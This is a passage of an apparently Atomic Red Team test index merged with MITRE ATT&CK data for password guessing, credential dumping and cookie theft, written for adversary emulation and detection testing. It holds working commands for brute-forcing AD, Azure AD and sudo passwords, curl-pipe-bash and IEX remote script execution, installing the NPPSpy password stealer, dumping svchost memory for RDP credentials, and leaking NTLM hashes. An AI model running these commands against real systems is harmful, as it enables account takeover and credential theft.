        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1110.001
    atomic_tests:
    - name: Brute Force Credentials of single Active Directory domain users via SMB
      auto_generated_guid: '09480053-2f98-4854-be6e-71ae5f672224'
      description: 'Attempts to brute force a single Active Directory account by testing
        connectivity to the IPC$ share on a domain controller

        '
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: Account to bruteforce
          type: string
          default: "%username%"
      executor:
        name: command_prompt
        command: |
          echo Password1> passwords.txt
          echo 1q2w3e4r>> passwords.txt
          echo Password!>> passwords.txt
          echo Spring2022>> passwords.txt
          echo ChangeMe!>> passwords.txt
          @FOR /F "delims=" %p in (passwords.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\#{user}" "%p" 1>NUL 2>&1 && @echo [*] #{user}:%p && @net use /delete %logonserver%\IPC$ > NUL
    - name: Brute Force Credentials of single Active Directory domain user via LDAP
        against domain controller (NTLM or Kerberos)
      auto_generated_guid: c2969434-672b-4ec8-8df0-bbb91f40e250
      description: 'Attempt to brute force Active Directory domain user on a domain
        controller, via LDAP, with NTLM or Kerberos

        '
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: Account to bruteforce
          type: string
          default: "$ENV:USERNAME"
        passwords_path:
          description: List of passwords we will attempt to brute force with
          type: path
          default: PathToAtomicsFolder\T1110.001\src\passwords.txt
        domain:
          description: Active Directory domain FQDN
          type: string
          default: "$env:UserDnsDomain"
        auth:
          description: authentication method to choose between "NTLM" and "Kerberos"
          type: string
          default: NTLM
      executor:
        name: powershell
        elevation_required: false
        command: |
          if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
            Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
            exit 1
          }

          [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
          $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

          $passwordList = Get-Content -Path "#{passwords_path}"
          foreach ($password in $passwordList){
            $credz = new-object System.Net.NetworkCredential("#{user}", $password, "#{domain}")
            $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
            try {
              Write-Host " [-] Attempting ${password} on account #{user}."
              $conn.bind()
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] #{user}:${password} are valid credentials!"
            } catch {
              Write-Host $_.Exception.Message
            }
          }
          Write-Host "End of bruteforce"
    - name: Brute Force Credentials of single Azure AD user
      auto_generated_guid: 5a51ef57-299e-4d62-8e11-2d440df55e69
      description: 'Attempt to brute force Azure AD user via AzureAD powershell module.

        '
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Account to bruteforce. We encourage users running this atomic
            to add a valid microsoft account domain; for eg "bruce.wayne@<valid_ms_account.com>"
          type: string
          default: bruce.wayne@contoso.com
        passwords:
          description: List of passwords we will attempt to brute force with
          type: string
          default: Password1`n1q2w3e4r`nPassword!
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        name: powershell
        elevation_required: false
        command: |
          Import-Module -Name AzureAD

          $passwords = "#{passwords}".split("{`n}")
          foreach($password in $passwords) {
            $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
            try {
              Write-Host " [-] Attempting ${password} on account #{username}."
              Connect-AzureAD -Credential $Credential 2>&1> $null
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] #{username}:${password} are valid credentials!`r`n"
              break
            } catch {
              Write-Host " [-] #{username}:${password} invalid credentials.`r`n"
            }
          }
          Write-Host "End of bruteforce"
    - name: Password Brute User using Kerbrute Tool
      auto_generated_guid: 59dbeb1a-79a7-4c2a-baf4-46d0f4c761c4
      description: 'Bruteforce a single user''s password from a wordlist

        '
      supported_platforms:
      - windows
      input_arguments:
        domaincontroller:
          description: Domain controller where test will be run
          type: string
          default: "$ENV:userdnsdomain"
        domain:
          description: Domain where you will be testing
          type: string
          default: "$ENV:userdomain"
      dependency_executor_name: powershell
      dependencies:
      - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
      - description: 'bruteuser.txt must exist in PathToAtomicsFolder\..\ExternalPayloads

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/src/bruteuser.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\bruteuser.txt"
      executor:
        name: powershell
        elevation_required: false
        command: "cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe
          bruteuser --dc #{domaincontroller} -d #{domain} $env:temp\\bruteuser.txt
          TestUser1 \n"
    - name: SUDO Brute Force - Debian
      auto_generated_guid: ba1bf0b6-f32b-4db0-b7cc-d78cacc76700
      description: "An adversary may find themselves on a box (e.g. via ssh key auth,
        with no password) with a user that has sudo'ers privileges, but they do not
        know the users password. Normally, failed attempts to access root will not
        cause the root account to become locked, to prevent denial-of-service. This
        functionality enables an attacker to undertake a local brute force password
        guessing attack without locking out the root user. \n\nThis test creates the
        \"art\" user with a password of \"password123\", logs in, downloads and executes
        the sudo_bruteforce.sh which brute force guesses the password, then deletes
        the user\n"
      supported_platforms:
      - linux
      input_arguments:
        remote_url:
          description: url of remote payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if running on a Debian based machine.

          '
        prereq_command: |
          if grep -iq "debian\|ubuntu\|kali\|mint" /usr/lib/os-release; then echo "Debian"; else echo "NOT Debian"; exit 1; fi
          if grep -Rq "pam_tally" /etc/pam.d/*; then echo "pam_tally configured"; exit 1; fi
          if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi
          if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi
          if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
        get_prereq_command: 'apt update && apt install -y openssl sudo curl

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd -G sudo -s /bin/bash -p $(openssl passwd -1 password123) art
          su art
          cd /tmp
          curl -s #{remote_url} |bash
        cleanup_command: 'userdel -fr art

          '
    - name: SUDO Brute Force - Redhat
      auto_generated_guid: 4097bc00-5eeb-4d56-aaf9-287d60351d95
      description: "An adversary may find themselves on a box (e.g. via ssh key auth,
        with no password) with a user that has sudo'ers privileges, but they do not
        know the users password. Normally, failed attempts to access root will not
        cause the root account to become locked, to prevent denial-of-service. This
        functionality enables an attacker to undertake a local brute force password
        guessing attack without locking out the root user. \n\nThis test creates the
        \"art\" user with a password of \"password123\", logs in, downloads and executes
        the sudo_bruteforce.sh which brute force guesses the password, then deletes
        the user\n"
      supported_platforms:
      - linux
      input_arguments:
        remote_url:
          description: url of remote payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh
      dependency_executor_name: bash
      dependencies:
      - description: 'Check if running on a Redhat based machine.

          '
        prereq_command: |
          if grep -iq "rhel\|fedora\|centos" /usr/lib/os-release; then echo "RedHat"; else echo "NOT RedHat"; exit 1; fi
          if grep -Rq "pam_faillock" /etc/pam.d/*; then echo "pam_faillock configured"; exit 1; fi
          if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi
          if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi
          if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
        get_prereq_command: 'yum update && yum install -y openssl sudo curl

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd -G wheel -s /bin/bash -p $(openssl passwd -1 password123) art
          su art
          cd /tmp
          curl -s #{remote_url} |bash
        cleanup_command: 'userdel -fr art

          '
    - name: SUDO Brute Force - FreeBSD
      auto_generated_guid: abcde488-e083-4ee7-bc85-a5684edd7541
      description: "An adversary may find themselves on a box (e.g. via ssh key auth,
        with no password) with a user that has sudo'ers privileges, but they do not
        know the users password. Normally, failed attempts to access root will not
        cause the root account to become locked, to prevent denial-of-service. This
        functionality enables an attacker to undertake a local brute force password
        guessing attack without locking out the root user. \n\nThis test creates the
        \"art\" user with a password of \"password123\", logs in, downloads and executes
        the sudo_bruteforce.sh which brute force guesses the password, then deletes
        the user\n"
      supported_platforms:
      - linux
      input_arguments:
        remote_url:
          description: url of remote payload
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1110.001/src/sudo_bruteforce.sh
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if running on a FreeBSD based machine.

          '
        prereq_command: |
          if grep -iq "FreeBSD" /etc/os-release; then echo "FreeBSD"; else echo "NOT FreeBSD"; exit 1; fi
          if [ -x "$(command -v openssl)" ]; then echo "openssl is installed"; else echo "openssl is NOT installed"; exit 1; fi
          if [ -x "$(command -v sudo)" ]; then echo "sudo is installed"; else echo "sudo is NOT installed"; exit 1; fi
          if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
          if [ -x "$(command -v bash)" ]; then echo "bash is installed"; else echo "bash is NOT installed"; exit 1; fi
        get_prereq_command: 'pkg update && pkg install -y sudo curl bash

          '
      executor:
        name: bash
        elevation_required: true
        command: |
          pw adduser art -g wheel -s /bin/sh
          echo "password123" | pw usermod art -h 0
          su art
          cd /tmp
          curl -s #{remote_url} |bash
        cleanup_command: 'rmuser -y art

          '
    - name: ESXi - Brute Force Until Account Lockout
      auto_generated_guid: ed6c2c87-bba6-4a28-ac6e-c8af3d6c2ab5
      description: |
        An adversary may attempt to brute force the password of privilleged account for privilege escalation.
        In the process, the TA may lock the account, which can be used for detection. [Reference](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/#:~:text=A%20ransomware%20group%20attacking%20large,internal%20systems%20after%20establishing%20a)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        plink_file:
          description: Path to Putty
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        lockout_threshold:
          description: Specify the account lockout threshold configured on the ESXI
            management server
          type: string
          default: '5'
      dependency_executor_name: powershell
      dependencies:
      - description: 'The plink executable must be found in the ExternalPayloads folder.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: |
          $lockout_threshold = [int]"#{lockout_threshold}"
          for ($var = 1; $var -le $lockout_threshold; $var++) {
            #{plink_file} -ssh "#{vm_host}" -l root -pw f0b443ae-9565-11ee-b9d1-0242ac120002
            }
        name: powershell
        elevation_required: false
  T1003:
    technique:
      modified: '2024-04-18T23:47:41.667Z'
      name: OS Credential Dumping
      description: |
        Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.

        Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Vincent Le Toux
      - Ed Williams, Trustwave, SpiderLabs
      - Tim (Wadhwa-)Brown
      - Yves Yonan
      x_mitre_deprecated: false
      x_mitre_detection: "### Windows\nMonitor for unexpected processes interacting
        with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from
        Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002)
        access the LSA Subsystem Service (LSASS) process by opening the process, locating
        the LSA secrets key, and decrypting the sections in memory where credential
        details are stored. Credential dumpers may also use methods for reflective
        [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential
        indicators of malicious activity.\n\nHash dumpers open the Security Accounts
        Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM)
        or create a dump of the Registry SAM key to access stored account password
        hashes. Some hash dumpers will open the local file system as a device and
        parse to the SAM table to avoid file access defenses. Others will make an
        in-memory copy of the SAM table before reading hashes. Detection of compromised
        [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries
        may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows
        Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor
        processes and command-line arguments for program execution that may be indicative
        of credential dumping. Remote access tools may contain built-in features or
        incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002).
        [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist
        that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz
        module, (Citation: Powersploit) which may require additional logging features
        to be configured in the operating system to collect necessary information
        for analysis.\n\nMonitor domain controller logs for replication requests and
        other unscheduled activity possibly associated with DCSync. (Citation: Microsoft
        DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI)
        Note: Domain controllers may not log replication requests originating from
        the default domain controller account. (Citation: Harmj0y DCSync Sept 2015).
        Also monitor for network protocols  (Citation: Microsoft DRSR Dec 2017) (Citation:
        Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft
        SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity
        DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored
        in memory, processes must open a maps file in the `/proc` filesystem for the
        process being analyzed. This file is stored under the path `/proc/<pid>/maps`,
        where the `<pid>` directory is the unique pid of the program being interrogated
        for such authentication data. The AuditD monitoring tool, which ships stock
        in many Linux distributions, can be used to watch for hostile processes opening
        this file in the proc file system, alerting on the pid, process name, and
        arguments of such programs."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Access'
      - 'Process: OS API Execution'
      - 'File: File Access'
      - 'Process: Process Access'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Access'
      type: attack-pattern
      id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22
      created: '2017-05-31T21:30:19.735Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1003
        external_id: T1003
      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
      - source_name: AdSecurity DCSync Sept 2015
        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
          and Detection. Retrieved December 4, 2017.
        url: https://adsecurity.org/?p=1729
      - source_name: Microsoft DRSR Dec 2017
        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
        url: https://msdn.microsoft.com/library/cc228086.aspx
      - source_name: Microsoft NRPC Dec 2017
        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
          Retrieved December 6, 2017.
        url: https://msdn.microsoft.com/library/cc237008.aspx
      - source_name: Microsoft GetNCCChanges
        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
          4, 2017.
        url: https://msdn.microsoft.com/library/dd207691.aspx
      - source_name: Microsoft SAMR
        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
        url: https://msdn.microsoft.com/library/cc245496.aspx
      - source_name: Powersploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        url: https://github.com/mattifestation/PowerSploit
      - source_name: Samba DRSUAPI
        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
        url: https://wiki.samba.org/index.php/DRSUAPI
      - source_name: Harmj0y DCSync Sept 2015
        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
          Oh My. Retrieved December 4, 2017.
        url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
      - source_name: Brining MimiKatz to Unix
        description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing
          Mimikatz et al to UNIX. Retrieved October 13, 2021.
        url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1003
    atomic_tests:
    - name: Gsecdump
      auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9
      description: "Dump credentials from memory using Gsecdump.\n\nUpon successful
        execution, you should see domain\\username's followed by two 32 character
        hashes.\n\nIf you see output that says \"compat: error: failed to create child
        process\", execution was likely blocked by Anti-Virus. \nYou will receive
        only error output if you do not run this test from an elevated context (run
        as administrator)\n\nIf you see a message saying \"The system cannot find
        the path specified\", try using the get-prereq_commands to download and install
        Gsecdump first.\n"
      supported_platforms:
      - windows
      input_arguments:
        gsecdump_exe:
          description: Path to the Gsecdump executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
        gsecdump_bin_hash:
          description: File hash of the Gsecdump binary file
          type: string
          default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
        gsecdump_url:
          description: Path to download Gsecdump binary file
          type: url
          default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gsecdump must exist on disk at specified location (#{gsecdump_exe})

          '
        prereq_command: 'if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
          IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
          if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
            Move-Item $binpath "#{gsecdump_exe}"
          }
      executor:
        command: '"#{gsecdump_exe}" -a

          '
        name: command_prompt
        elevation_required: true
    - name: Credential Dumping with NPPSpy
      auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6
      description: |-
        Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
        After user's logging in cleartext password is saved in C:\NPPSpy.txt.
        Clean up deletes the files and reverses Registry changes.
        NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: NPPSpy.dll must be available in ExternalPayloads directory
        prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll")
          {exit 0} else {exit 1}
        get_prereq_command: |-
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll"
      executor:
        command: |-
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
          $path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
          $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
          Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
          $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
          $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
          $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
          $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
          $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
          echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
        cleanup_command: "$cleanupPath = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order\"
          -Name PROVIDERORDER\n$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER \n$cleanupUpdatedValue
          = $cleanupUpdatedValue -replace ',NPPSpy',''\nSet-ItemProperty -Path $cleanupPath.PSPath
          -Name \"PROVIDERORDER\" -Value $cleanupUpdatedValue\nRemove-Item -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NPPSpy\"
          -Recurse -ErrorAction Ignore\nRemove-Item C:\\NPPSpy.txt -ErrorAction Ignore\nRemove-Item
          C:\\Windows\\System32\\NPPSpy.dll -ErrorAction Ignore"
        name: powershell
        elevation_required: true
    - name: Dump svchost.exe to gather RDP credentials
      auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9
      description: |
        The svchost.exe contains the RDP plain-text credentials.
        Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

        Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
      supported_platforms:
      - windows
      executor:
        command: |
          $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
          if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
          C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
        cleanup_command: 'Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using
        list)
      auto_generated_guid: 6c7a4fd3-5b0b-4b30-a93e-39411b25d889
      description: |-
        AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
        [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: IIS must be installed prior to running the test
        prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed")
          {exit 0} else {exit 1}
        get_prereq_command: Install-WindowsFeature -name Web-Server -IncludeManagementTools
      executor:
        command: |-
          C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
          C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
          C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
        name: powershell
        elevation_required: true
    - name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using
        config)
      auto_generated_guid: 42510244-5019-48fa-a0e5-66c3b76e6049
      description: |-
        AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
        [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: IIS must be installed prior to running the test
        prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed")
          {exit 0} else {exit 1}
        get_prereq_command: Install-WindowsFeature -name Web-Server -IncludeManagementTools
      executor:
        command: C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
        name: powershell
        elevation_required: true
    - name: Dump Credential Manager using keymgr.dll and rundll32.exe
      auto_generated_guid: 84113186-ed3c-4d0d-8a3c-8980c86c1f4a
      description: |-
        This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.).
        Reference: https://twitter.com/0gtweet/status/1415671356239216653
      supported_platforms:
      - windows
      executor:
        command: rundll32.exe keymgr,KRShowKeyMgr
        name: powershell
    - name: Send NTLM Hash with RPC Test Connection
      auto_generated_guid: 0b207037-813c-4444-ac3f-b597cf280a67
      description: "RpcPing command can be used to send an RPC test connection to
        the target server (-s) and force the NTLM hash to be sent in the process.
        \nRef: https://twitter.com/vysecurity/status/974806438316072960"
      supported_platforms:
      - windows
      input_arguments:
        custom_port:
          description: Specify the custom port number
          type: integer
          default: '1234'
        server_ip:
          description: Specify the server IP address. If not specified, the loop back
            IP will be used
          type: string
          default: 127.0.0.1
      executor:
        command: 'rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null'
        name: powershell
        elevation_required: false
  T1539:
    technique:
      modified: '2024-04-16T12:56:56.861Z'
      name: Steal Web Session Cookie
      description: |-
        An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

        Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

        There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)

        There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

        After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Johann Rehberger
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: Monitor for attempts to access files and repositories on
        a local system that are used to store browser session cookies. Monitor for
        attempts by programs to inject into or dump browser process memory.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'File: File Access'
      type: attack-pattern
